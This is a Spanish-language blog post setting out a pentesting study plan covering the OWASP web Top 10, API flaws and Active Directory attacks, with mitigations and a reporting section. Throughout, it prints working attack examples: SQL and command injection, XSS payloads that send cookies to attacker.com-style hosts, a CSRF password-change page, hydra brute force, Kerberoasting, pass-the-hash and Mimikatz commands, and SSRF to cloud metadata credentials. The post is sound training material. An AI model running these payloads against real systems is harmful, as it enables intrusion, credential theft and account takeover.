Buscar

29 septiembre 2025

Plan de estudios de Pentesting

 Eres junior en Ciberseguridad? has terminado un master, grado, etc, pero te sientes perdido o que te falta información?

He creado un "plan de estudios" para ti, y lo mejor de todo, es que es GRATIS!

Está estructurado con pentesting Web, API y Directorio Activo. Ten en cuenta que esto es solo la superficie, hay mucho que estudiar, mucho que probar y mucho por avanzar.

Esto debería llevarte 1 o 2 horas al día y 4 días a la semana. Vamos a combinar algo de teoría básica y algunas prácticas en entornos controlados.

SEPTIEMBRE – Web Pentesting (OWASP Top 10 Web)

🔹 Semana 1 – Introducción y Reconocimiento Web

Explicación: El reconocimiento es la base del pentesting web. Nos permite descubrir la superficie de ataque antes de lanzar los exploits. La enumeración incluye identificación de tecnologías, versiones, directorios ocultos, endpoints sensibles y posibles credenciales expuestas, que es parte fundamental del pentesting.

Una buena fase de reconocimiento seguro que marca la diferencia entre un pentest exitoso y uno superficial.

Existen técnicas pasivas (Google Dorking, DNSdumpster, Shodan) y activas (Nmap, WhatWeb, dirsearch). En esta fase, el pentester busca ampliar la superficie de ataque para descubrir configuraciones por defecto o recursos olvidados por los desarrolladores. La clave aquí es ir documentando todo lo que encuentres para tratar de explotarlo más adelante. Puedes hacer uso de tu herramienta preferida (OneNote, CherryTree, Notion...), has de ser exhaustivo y ordenado.

Ejemplo 1 – Enumeración de tecnologías:

whatweb https://objetivo.com

Salida: WordPress 5.6, PHP 7.4, Apache 2.4.49. Esto nos indica posibles CVEs a investigar.

Ejemplo 2 – Búsqueda de ficheros sensibles:

dirsearch -u https://objetivo.com -e php,zip,tar,txt

Resultado: /backup.zip [200] → contiene código fuente y credenciales.

Ahora te toca a ti empezar a entender cómo funcionan las herramientas, los parámetros a configurar, etc. No querrás que lo haga yo todo, no?


🔹 Semana 2 – Inyección (SQLi, NoSQLi, Command Injection)

Explicación: Las inyecciones ocurren cuando los datos de usuario se concatenan sin validación en consultas.

  • Una inyección SQL, podría permitirte leer o modificar bases de datos enteras.
  • NoSQLi abusa de estructuras JSON mal validadas.
  • Command Injection aprovecha parámetros ejecutados en comandos del SO.

Mitigación: usar consultas preparadas, sanitización de entradas y no concatenar input en funciones críticas.

Ejemplo 1 – SQLi clásica:

GET /product.php?id=1 OR 1=1-- -

Devuelve todos los productos porque la consulta se transforma en: SELECT * FROM products WHERE id=1 OR 1=1;

Ejemplo 2 – Command Injection:

GET /ping?ip=8.8.8.8; cat /etc/passwd

Esto incluiría los usuarios del sistema, que sería una ejecución arbitraria en el servidor.


🔹 Semana 3 – XSS (Cross-Site Scripting)

Explicación: XSS inyecta código JavaScript en el navegador del usuario. Se podrían robar cookies, tokens JWT o redirigir tráfico. Existen 3 tipos:

  • Reflejado
  • Almacenado
  • DOM-based

Se mitiga validando inputs, escapando outputs y aplicando la cabecera Content Security Policy. Es muy común en formularios, buscadores y comentarios.

Si no conoces la diferencia entre cada uno, te toca buscar información y sobre todo, entender cómo funcionan.

Ejemplo 1 – XSS reflejado:

GET /search?q=<script>alert('XSS')</script>

El script se ejecuta en el navegador cuando se devuelve la búsqueda.

Ejemplo 2 – XSS almacenado (robo de cookies):

<script>fetch('http://attacker.com/?c='+document.cookie)</script>

Insertado en un comentario, roba cookies de todos los visitantes.

El XSS DOM-Based ocurre cuando el propio navegador procesa datos manipulados en el DOM sin validación, sin pasar por el servidor. Es muy común en aplicaciones modernas con JavaScript.

<input id="q" value="<script>alert('DOM XSS')</script>"><script> document.write("Search: " + location.hash.substring(1));</script>

Si visitas:

https://victima.com/#<script>alert('DOM')</script>

El script se ejecuta directamente en el navegador de la víctima.

🔹 Semana 4 – CSRF y Control de Acceso

Explicación: CSRF fuerza a un usuario autenticado a que ejecute acciones sin saberlo. Aprovecha que el navegador incluye cookies automáticamente. Los fallos de control de acceso permitirían saltar restricciones de los roles o de los IDs.

Mitigación: tokens CSRF, SameSite cookies, y validación de permisos en el backend.

Ejemplo 1 – CSRF exploit:

<img src="http://bank.com/transfer?amount=1000&to=attacker" />

Si la víctima tiene un login activo, ejecutaría la transferencia.

Ejemplo 2 – IDOR (Broken Access Control):

GET /admin/deleteUser?id=5

Un usuario normal podría borrar usuarios al manipular el parámetro.


OCTUBRE – Pentesting API

🔹 Semana 1 – API1: Broken Object Level Authorization

Explicación: Este error ocurre cuando una API no valida correctamente los permisos por objeto. Bastaría con modificar un ID o parámetro para acceder a datos de otros usuarios.

Mitigación: validación estricta en backend, no en cliente.

Ejemplo 1 – Enumeración de usuarios:

GET /api/users/124 
Authorization: Bearer <token_usuario1>

Devuelve datos del usuario 124 aunque pertenece a otro.

Ejemplo 2 – Endpoint admin sin control:

GET /api/admin/settings

Sería accesible para cualquier usuario autenticado, lo que desencadenaría en fuga de configuración.


🔹 Semana 2 – API2: Broken Authentication

Explicación: Las APIs con autenticación rota permiten ataques de fuerza brutal, reutilización de tokens o JWT mal configurados. Algunos endpoints aceptan credenciales débiles o no invalidan tokens caducados lo que permitiría impersonar usuarios.

Ejemplo 1 – Fuerza bruta sin rate limit:

hydra -l admin -P rockyou.txt https://api.site.com/login http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

Ejemplo 2 – JWT sin firma verificada: Cambiar alg en el header de HS256 a none:

{
 "alg": "none",
 "typ": "JWT"
}

Esto permitiría autenticarse sin clave secreta.


🔹 Semana 3 – API3: Excessive Data Exposure

Explicación: Las APIs mal diseñadas pueden devolver demasiada información, confiando en que el cliente la ocultará. Esto expone datos sensibles (hashes, emails, roles...).

Mitigación: filtrar en el backend solo los campos necesarios.

Ejemplo 1 – Información sensible en JSON:

GET /api/user/123

Respuesta:

{"id":123,"email":"victim@mail.com","passwordHash":"$2y$10$...","isAdmin":true}

Ejemplo 2 – Datos de tarjeta completos:

{"card":"4111111111111111","expiry":"12/25","cvv":"123"}

Esto nos mostraría datos expuestos en vez de mostrar solo últimos 4 dígitos.


🔹 Semana 4 – API4: Lack of Resources & Rate Limiting

Explicación: Sin límites de uso, un atacante podría lanzar ataques de fuerza bruta, scraping masivo o DoS. Es esencial implementar el rate limiting, cuotas y protección contra abuso.

Ejemplo 1 – Brute force login masivo:

ffuf -w users.txt:USER -w pass.txt:PASS -X POST -u https://api.site.com/login -d "username=USER&password=PASS"

Ejemplo 2 – Descarga masiva sin límite:

GET /api/export?type=all

Esto devolvería GB de datos sin ningún control, lo que podría desencadenar un DoS.


NOVIEMBRE – Active Directory

🔹 Semana 1 – Kerberos y Autenticación

Explicación: Kerberos es el sistema de tickets usado en AD. Ataques como AS-REP roasting o Kerberoasting permiten obtener hashes crackeables. Aquí nos aprovechamos de configuraciones y contraseñas débiles.

Ejemplo 1 – AS-REP Roasting:

GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1

Esto devuelve hashes crackeables, que podríamos sacar con Hashcat.

Ejemplo 2 – Kerberoasting:

GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1

Esto nos genera tickets que podríamos tratar de romper con:

hashcat -m 13100 hash.txt rockyou.txt

🔹 Semana 2 – Enumeración y BloodHound

Explicación: Enumerar AD implica poder mapear relaciones de confianza y privilegios. La herramienta BloodHound permite visualizar rutas de ataque. SharpHound recolecta los datos desde el dominio.

Ejemplo 1 – Recolección de datos:

SharpHound.exe -c All

Esto genera un zip que puedes subir a BloodHound.

Ejemplo 2 – Búsqueda de camino a Domain Admin: En Neo4j (BloodHound):

MATCH p=shortestPath((u:User {name:"victim"})-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS"})) RETURN p

🔹 Semana 3 – Movimiento lateral y Pass-the-Hash

Explicación: Con los hashes NTLM se puede autenticar sin tener que usar contraseñas. Herramientas como psexec.py te permiten moverte lateralmente. También se explota Pass-the-Ticket con tickets Kerberos robados.

Ejemplo 1 – Pass-the-Hash con psexec.py:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 domain.local/user@10.10.10.5

Ejemplo 2 – Pass-the-Ticket con Mimikatz:

kerberos::ptt ticket.kirbi

Carga un TGT robado para autenticarse como otro usuario.


🔹 Semana 4 – Hardening y detección

Explicación: La defensa en AD incluye segmentación, rotación de contraseñas locales (LAPS), detección de ataques a Kerberos y restricciones de privilegios. El objetivo del pentest no solo es explotar, sino también proponer medidas.

Ejemplo 1 – Activar LAPS:

Install-ADServiceAccount -Identity "LAPS"

Evita reutilización de contraseñas locales.

Ejemplo 2 – Monitorizar eventos Kerberos:

Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4769}

Detecta TGS requests sospechosos.


DICIEMBRE – Consolidación (Web + API avanzado)

🔹 Semana 1 – XSS avanzado

Explicación: Incluye técnicas de bypass de WAF, explotación en contextos modernos (Angular, React) y evasión de filtros. También se pueden exfiltrar datos sensibles mediante "canales" ocultos.

Ejemplo 1 – Payload en SVG:Explicación: Incluye técnicas de bypass de WAF, explotación en contextos modernos (Angular, React) y evasión de filtros. También se pueden exfiltrar datos sensibles mediante "canales" ocultos.

Ejemplo 1 – Payload en SVG:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60" onload="alert('XSS ejecutado!')">  
<text x="10" y="40" font-size="24" fill="blue">Hola SVG</text>
</svg>

Esto nos da un texto visible más la ejecución del JS:

Contenido del artículo

Ejemplo 2 – Robo de cookie vía img:

<img src="http://attacker.com/?cookie="+document.cookie>

🔹 Semana 2 – CSRF / SSRF

Explicación: El SSRF fuerza al servidor a hacer peticiones internas. Es crítico en entornos cloud porque puede permitir acceder a metadatos. Combinado con CSRF, multiplica el impacto.

Ejemplo 1 – SSRF a recursos internos:

GET /fetch?url=http://127.0.0.1:8080/admin

Ejemplo 2 – SSRF en AWS:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

🔹 Semana 3 – APIs avanzado

Explicación: Las APIs modernas (GraphQL, gRPC) pueden ser explotadas si no tienen control de autorización ni limitación. La introspección en GraphQL revela endpoints internos.

Ejemplo 1 – GraphQL introspection:

{"query":"{__schema{types{name,fields{name}}}}"}

Ejemplo 2 – API REST manipulando JSON:

{"username":"victim","isAdmin":true}

El backend lo aplica si no se valida correctamente.


🔹 Semana 4 – Proyecto final

En esta última fase, el objetivo es integrar todo lo que has aprendido en un entorno realista. La idea es simular un proyecto de pentesting web desde el reconocimiento hasta la explotación, para finalmente documentar las vulnerabilidades. No se trata solo de lanzar payloads a lo loco, sino de entender el impacto, demostrarlo y explicarlo con claridad, tal y como se espera en un informe profesional. De esta forma, irás cogiendo confianza y serás capaz de defender tu informa frente a compañeros, tus jefes, o incluso el cliente.

A continuación, te dejo unos pequeños apuntes para que entiendas cómo se puede documentar el hallazgo de una vulnerabilidad. Debes entender, que hay muchas formas y muchos tipos de informes, esto es solo una base.


✅ Ejemplo 1 – CSRF (Cross-Site Request Forgery) en un cambio de contraseña

Un CSRF consiste en que un atacante engañe a la víctima para que realice una acción en una aplicación autenticada sin su consentimiento. Imaginemos un panel donde el usuario puede cambiar su contraseña a través de un formulario vulnerable.

Código malicioso en una web externa:

<html>
  <body>
    <form action="https://objetivo.com/cambiar_pass" method="POST">
      <input type="hidden" name="new_password" value="Pwned1234">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Explicación: si el usuario víctima está logueado en objetivo.com, al visitar la página maliciosa, su contraseña será cambiada automáticamente sin que lo sepa. Esto demuestra cómo un atacante podría secuestrar sesiones activas y tomar control de cuentas críticas.

En un informe, se documentaría con la prueba de concepto (PoC) y el riesgo asociado.


✅ Ejemplo 2 – XSS almacenado en un campo de comentarios

El XSS almacenado es especialmente peligroso porque afecta a todos los usuarios que visitan la página. Supongamos el caso típico de un foro donde los comentarios no se validan correctamente:

<script>alert('XSS almacenado ejecutado');</script>

Este script quedará guardado en la base de datos. Cada vez que otro usuario acceda al hilo, su navegador ejecutará el JavaScript malicioso. El atacante podría robar cookies, tokens JWT o redirigir al usuario a una web clonada de phishing. En la práctica, no basta con poner un alert, sino que se demuestra con ejemplos como:

fetch('https://mi-servidor.com/robar?cookie=' + document.cookie);

En un informe, se debe explicar el impacto en la confidencialidad y el riesgo de escalado.


✅ Ejemplo 3 – Fuerza bruta contra panel de login

Un ataque clásico pero todavía común es la fuerza bruta usando Hydra:

hydra -l admin -P rockyou.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=Login failed"

Explicación: este ataque prueba combinaciones de usuario/contraseña hasta acertar. Si la aplicación no implementa bloqueo de cuentas, 2FA o límites de intentos, el riesgo es crítico. Esto en el informe, se debería incluir la evidencia del acceso conseguido y la recomendación de implementar 2FA, por ejemplo.


✅ Ejemplo 4 – SQL Injection ciega

Prueba básica en un campo de login:

' OR '1'='1' --

Explicación: si el sistema no valida la entrada de datos, esta consulta puede alterar la lógica de autenticación. En una versión más sofisticada, un atacante podría exfiltrar datos sensibles mediante inyecciones booleanas o de tiempo:

' OR IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0) --

Esto demuestra que no solo se puede acceder sin credenciales, sino también extraer información de la base de datos paso a paso. Documentar esto implica mostrar los payloads, resultados y explicar cómo afecta a la confidencialidad e integridad.


✅ Ejemplo 5 – Falsificación de cabeceras (Host Header Injection)

En algunos servidores, modificar la cabecera Host puede alterar la lógica de la aplicación. Podríamos hacerlo con Burp Suite:

Host: evil.com

Explicación: esto puede llevar a ataques de password reset donde el enlace se genera con el Host alterado y se envía a la víctima. En este caso, el atacante recibe el enlace malicioso y compromete la cuenta.


📝 Tips finales de Pentesting

  • Aprende siempre más allá del plan: OWASP Top 10 es la base, pero el mundo real incluye ataques avanzados (XXE, SSRF, deserialización insegura, etc.).
  • No te quedes en lanzar payloads como un loco: entiende el impacto y tradúcelo a riesgos que un cliente pueda comprender. Esto es muy importante.
  • Usa entornos legales como HackTheBox, TryHackMe, PortSwigger Academy para practicar sin problemas legales.
  • Documenta todo: capturas, payloads, pasos reproducibles... Tu informe es tan importante como la explotación (aunque no te guste).
  • Nunca te frustres si algo no funciona: los pentesters dedican horas a prueba/error, la constancia es la clave.


🔚 Conclusión

El pentesting no es solo la técnica, es constancia, investigación y aprendizaje continuo. Cada vulnerabilidad encontrada es una lección que refuerza tu experiencia. Dominarás herramientas, frameworks y técnicas, pero lo más importante es desarrollar la mentalidad ofensiva para pensar como un atacante y proteger mejor.

El esfuerzo de estos meses es solo el inicio: la ciberseguridad es un camino de aprendizaje de por vida.